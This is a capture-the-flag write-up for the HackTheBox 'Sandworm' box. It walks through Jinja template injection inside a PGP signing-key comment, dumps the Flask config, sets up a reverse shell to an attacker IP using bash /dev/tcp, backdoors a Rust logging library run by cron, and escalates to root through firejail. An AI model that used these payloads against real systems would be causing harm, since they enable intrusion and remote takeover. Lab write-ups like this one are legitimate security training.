HackTheBox: Sandworm

HackTheBox: Sandworm

·

6 min read

Introduction

Sandworm is a Linux box rated as a Medium on HackTheBox. Parts of this box involve the use of PGP keys, web server enumeration (and the common vulnerabilities that go with it) as well as a unique privilege escalation vector. Without further ado, lets get in to this one!

Enumeration

As usual, we start with the Nmap Top1000 port scan while running default scripts and enumerating versions.

We try visiting the HTTP service by requesting the http:// protocol along with the server IP address, but the server responds with a 301 redirect to an HTTPS:// version of the site at https://ssa.htb/

  • Based on the Nmap scan as well as this initial response it seems like its time to add ssa.htb to our /etc/hosts file.

  • We're now able to visit the website on port 443 at https://ssa.htb. When we land there it looks like a Secret Spy Agency (SSA). Specifically, one powered by Flask.

  • There's a couple of different pages, one allows us to verify, decrypt, and encrypt messages using PGP keys.

    • They offer a public key of their own at /pgp that we can then use to encrypt messages.
  • Within the /contact page there's a field to enter in a "Secret Spy Tip" which has been encrypted using SSA's public key.

  • NOTE: If you're using KGpg as your encryption/decryption tool of choice you may need to configure the toolbar better than its default form presents itself.

    • For instance, when first installing KGpg I had no option to encrypt or decrypt a message using these keys.

    • The easiest way to remedy this is to go to Settings -> Configure Toolbars and then select "Open Editor" and add it to the list of Current actions.

  • After this you can simply click Open Editor from the toolbar and can now verify/encrypt/decrypt to your heart's content!

  • We play around with the decrypt/encrypt/verify functionality for a little bit but start hitting a roadblock at this point.

  • After taking a break and coming back I noticed some of our signing key being reflected in the page when using the "Verify Signature" functionality on the site.

  • We had named the key 'myKey' and put in 'JAHJAHJAH' as a random comment when first creating our key pair.

    • Since it's a Flask app we try a few payloads and find we can inject the SSTI payload {{7*"A"}} into the key name as well as the comment {{7*"B"}}. This gives us two potential sinks that are ending in code execution.

  • Eventually we sneak in {{config}} and get a bunch of env information.

----BEGIN PGP SIGNATURE-----
dict_items([
('ENV', 'production'), 
('DEBUG', False), 
('TESTING', False), 
('PROPAGATE_EXCEPTIONS', None), 
('SECRET_KEY', '91668c1bc67132e3dcfb5b1a3e0c5c21'), 
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), 
('USE_X_SENDFILE', False), 
('SERVER_NAME', None), 
('APPLICATION_ROOT', '/'), 
('SESSION_COOKIE_NAME', 'session'), 
('SESSION_COOKIE_DOMAIN', False), 
('SESSION_COOKIE_PATH', None), 
('SESSION_COOKIE_HTTPONLY', True), 
('SESSION_COOKIE_SECURE', False), 
('SESSION_COOKIE_SAMESITE', None), 
('SESSION_REFRESH_EACH_REQUEST', True), 
('MAX_CONTENT_LENGTH', None), 
('SEND_FILE_MAX_AGE_DEFAULT', None), 
('TRAP_BAD_REQUEST_ERRORS', None), 
('TRAP_HTTP_EXCEPTIONS', False), 
('EXPLAIN_TEMPLATE_LOADING', False), 
('PREFERRED_URL_SCHEME', 'http'), 
('JSON_AS_ASCII', None), 
('JSON_SORT_KEYS', None), 
('JSONIFY_PRETTYPRINT_REGULAR', None), 
('JSONIFY_MIMETYPE', None), 
('TEMPLATES_AUTO_RELOAD', None), 
('MAX_COOKIE_SIZE', 4093), 
('SQLALCHEMY_DATABASE_URI', 'mysql://atlas:REDACTED@127.0.0.1:3306/SSA'), 
('SQLALCHEMY_ENGINE_OPTIONS', {}), 
('SQLALCHEMY_ECHO', False), 
('SQLALCHEMY_BINDS', {}), 
('SQLALCHEMY_RECORD_QUERIES', False), 
('SQLALCHEMY_TRACK_MODIFICATIONS', False)])\n
  • We try a couple different Jinja specific SSTI payloads and eventually find a way to pop a bash shell by injecting the following into our signing key comment.

    • {{namespace.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.143/4242 0>&1'").read()}}
  • We get on the box and start looking around.

  • The usual SOP for these types of boxes is to transfer over something like LinPEAS so I can have some automated discovery going while performing manual exploration, but we find we don't have curl or wget.

  • We keep on with some manual exploration and eventually come across a .config directory within the home directory of the current user 'atlas'

  • While looking through these .config directories we find a password for the other user silentobserver in an HTTPie session file named admin.json

  • On a whim we try it with SSH and find ourselves with a shell as silentobserver.

Lateral Movement

  • We do some manual exploration and find an interesting rust file in /opt/tipnet/src/main.rs It looks like this program is used to fetch new "SSA Tips" and either add them to the database or else allow users to query the database for these "Tips".

  • More importantly, we find the connection settings to the MySQL database.

  • We can connect to the mysql database with mysql -u tipnet -p now, but when we look through the databases there doesn't appear to be anything substantial. Just our own tip submissions, a few random messages, and someone selling a zero-day..

We can read the /opt/tipnet/access.log file. It shows some logging of the "tipnet" program.

  • Within /opt/tipnet/src/main.rs we see it loading an external library..

  • When we track down that library at /opt/crate/logger/src/lib.rs we see that it's owned by the silentobserver group and that members of this group have write access to this file.

  • We find we can write to lib.rs that's being loaded by main.rs This library is what appears to be doing the logging so if we can trigger a logging event we can trigger code within this file that we have write permissions on...

  • After plenty of trial-and-error and a trip through the Rust development docs, we have a means of creating a reverse shell.

  • It takes a little while for this one to hit but eventually we get a new shell as...atlas..again!

    • Except this time we're not in the firejail! We see that we're also a part of the 'jailer' group this time when we check the user's id.

  • After this i tried generating an SSH key and but lost the shell. Afterwards whenever we try exploiting the tipnet program again we get a shell back as the other user 'silentobserver'.

  • Later realized the library must also be getting triggered by a cronjob b/c we kill the shell as silentobserver and start another listener..but before we can try to trigger it again we get a shell back as atlas again!

  • We find that the firejail binary is actually a vulnerable version which can be exploited to escalate our privileges

  • We had plenty of issues getting this to run properly at first but it mostly seemed to stem from how our reverse shells were made. Another tactic would be adding to the authorized_keys file in atlas's ~/.ssh/ directory

  • Earlier i was trying to run the exploit as well as escalate from within the bash shells, but this time I tried doing it with the msfvenom reverse shells after stabilizing with:

    • python3 -c 'import pty;pty.spawn("/bin/bash")'

    • Then CTRL+z to suspend the shell followed by stty raw -echo;fg

    • Lastly export TERM=xterm after re-entering the shell process.

  • With this in place we can run the command firejail --join=<INSTANCE> in another shell in order to escalate to root.